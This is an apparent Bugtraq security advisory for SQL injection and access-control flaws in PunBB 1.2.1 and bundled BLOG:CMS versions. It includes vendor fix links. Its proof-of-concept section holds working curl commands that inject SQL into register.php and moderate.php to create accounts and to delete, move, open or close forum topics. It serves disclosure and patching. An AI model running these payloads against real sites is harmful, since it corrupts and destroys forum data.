PunBB Multiple Remote Input Validation Vulnerabilities
BID:12652
Info
PunBB Multiple Remote Input Validation Vulnerabilities
| Bugtraq ID: | 12652 |
| Class: | Input Validation Error |
| CVE: |
CVE-2005-0569 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 24 2005 12:00AM |
| Updated: | Jul 12 2009 10:56AM |
| Credit: | John Gumbel <[email protected]> is credited with the discovery of this issue. |
| Vulnerable: |
PunBB PunBB 1.2.1 BLOG:CMS BLOG:CMS 3.1.4 BLOG:CMS BLOG:CMS 3.1.3 BLOG:CMS BLOG:CMS 3.1.2 BLOG:CMS BLOG:CMS 3.1 BLOG:CMS BLOG:CMS 3.0 |
| Not Vulnerable: |
PunBB PunBB 1.2.2 BLOG:CMS BLOG:CMS 3.6.4 BLOG:CMS BLOG:CMS 3.6.2 |
Discussion
PunBB Multiple Remote Input Validation Vulnerabilities
Multiple remote input validation vulnerabilities affect PunBB. These issues are due to a failure of the application to sanitize user-supplied input prior to using it to carry out critical functions.
The first issue is an SQL injection issue in the 'register.php' script. The second issue is an SQL injection issue in the 'moderate.php' script. A third SQL injection issue exists in the 'profile.php' script. Finally an access validation issue affects the 'profile.php' script.
An attacker may leverage these issues to have arbitrary SQL queries executed against the database; this may facilitate data corruption or manipulation. Furthermore one of these issues may be leveraged to trigger a denial of service condition against current user by setting their passwords to a NULL value.
Multiple remote input validation vulnerabilities affect PunBB. These issues are due to a failure of the application to sanitize user-supplied input prior to using it to carry out critical functions.
The first issue is an SQL injection issue in the 'register.php' script. The second issue is an SQL injection issue in the 'moderate.php' script. A third SQL injection issue exists in the 'profile.php' script. Finally an access validation issue affects the 'profile.php' script.
An attacker may leverage these issues to have arbitrary SQL queries executed against the database; this may facilitate data corruption or manipulation. Furthermore one of these issues may be leveraged to trigger a denial of service condition against current user by setting their passwords to a NULL value.
Exploit / POC
PunBB Multiple Remote Input Validation Vulnerabilities
No exploit is required to leverage any of these issues. The following proof of concepts have been provided:
This example demonstrates the SQL injection vulnerability in the language parameter:
curl --form form_sent=1 --form req_username=sha --form req_password1=passwd --form req_paspasswd --form [email protected] --form
language="English', 'Oxygen', 0, '0.0.0.0', 0) -- " http://target/register.php?action=registerer
Attacks delete posts:
curl --referer http://www.example.com/moderate.php --form posts="0) -- this won't show" --form delete_posts_comply=1 --cookie punbb_cookie=<valid
cookie> target/moderate.php?fid=1\&tid=1
Attacks move topics:
curl --referer http://www.example.com/moderate.php --form topics="2) -- this won't show" --form move_to_forum=2 --form move_topics=1 --form
move_topics_to=1 --cookie punbb_cookie=<valid cookie> target/moderate.php?fid=1
Attacks delete topics:
curl --referer http://www.example.com/moderate.php --form topics="2) -- this won't show" --form delete_topics=1 --form delete_topics_comply=1
--cookie punbb_cookie=<valid cookie> target/moderate.php?fid=1
Attacks open/close:
curl --referer http://www.example.com/moderate.php --form "topics[0) -- this won't show]"= --form open=1 --cookie "punbb_cookie=<valid cookie>
target/moderate.php?fid=1
No exploit is required to leverage any of these issues. The following proof of concepts have been provided:
This example demonstrates the SQL injection vulnerability in the language parameter:
curl --form form_sent=1 --form req_username=sha --form req_password1=passwd --form req_paspasswd --form [email protected] --form
language="English', 'Oxygen', 0, '0.0.0.0', 0) -- " http://target/register.php?action=registerer
Attacks delete posts:
curl --referer http://www.example.com/moderate.php --form posts="0) -- this won't show" --form delete_posts_comply=1 --cookie punbb_cookie=<valid
cookie> target/moderate.php?fid=1\&tid=1
Attacks move topics:
curl --referer http://www.example.com/moderate.php --form topics="2) -- this won't show" --form move_to_forum=2 --form move_topics=1 --form
move_topics_to=1 --cookie punbb_cookie=<valid cookie> target/moderate.php?fid=1
Attacks delete topics:
curl --referer http://www.example.com/moderate.php --form topics="2) -- this won't show" --form delete_topics=1 --form delete_topics_comply=1
--cookie punbb_cookie=<valid cookie> target/moderate.php?fid=1
Attacks open/close:
curl --referer http://www.example.com/moderate.php --form "topics[0) -- this won't show]"= --form open=1 --cookie "punbb_cookie=<valid cookie>
target/moderate.php?fid=1
Solution / Fix
PunBB Multiple Remote Input Validation Vulnerabilities
Solution:
The vendor has released an update to address these issues:
BLOG:CMS has released an updated package that contains a release of PunBB that is not affected by these vulnerabilities.
PunBB PunBB 1.2.1
BLOG:CMS BLOG:CMS 3.0
BLOG:CMS BLOG:CMS 3.1
BLOG:CMS BLOG:CMS 3.1.2
BLOG:CMS BLOG:CMS 3.1.3
BLOG:CMS BLOG:CMS 3.1.4
Solution:
The vendor has released an update to address these issues:
BLOG:CMS has released an updated package that contains a release of PunBB that is not affected by these vulnerabilities.
PunBB PunBB 1.2.1
-
PunBB punbb-1.2.2.zip
http://www.punbb.org/download/punbb-1.2.2.zip
BLOG:CMS BLOG:CMS 3.0
-
BLOG:CMS blogcms.3.6.4.tgz
http://prdownloads.sourceforge.net/blogcms/blogcms.3.6.4.tgz?download
BLOG:CMS BLOG:CMS 3.1
-
BLOG:CMS blogcms.3.6.4.tgz
http://prdownloads.sourceforge.net/blogcms/blogcms.3.6.4.tgz?download
BLOG:CMS BLOG:CMS 3.1.2
-
BLOG:CMS blogcms.3.6.4.tgz
http://prdownloads.sourceforge.net/blogcms/blogcms.3.6.4.tgz?download
BLOG:CMS BLOG:CMS 3.1.3
-
BLOG:CMS blogcms.3.6.4.tgz
http://prdownloads.sourceforge.net/blogcms/blogcms.3.6.4.tgz?download
BLOG:CMS BLOG:CMS 3.1.4
-
BLOG:CMS blogcms.3.6.4.tgz
http://prdownloads.sourceforge.net/blogcms/blogcms.3.6.4.tgz?download
References
PunBB Multiple Remote Input Validation Vulnerabilities
References:
References:
- PunBB Homepage (PunBB)
- Release 3.6.4 - weblog, forum, photo gallery, news, wiki and contact sections (BLOG:CMS)
- Multiple vulns in punBB (John Gumbel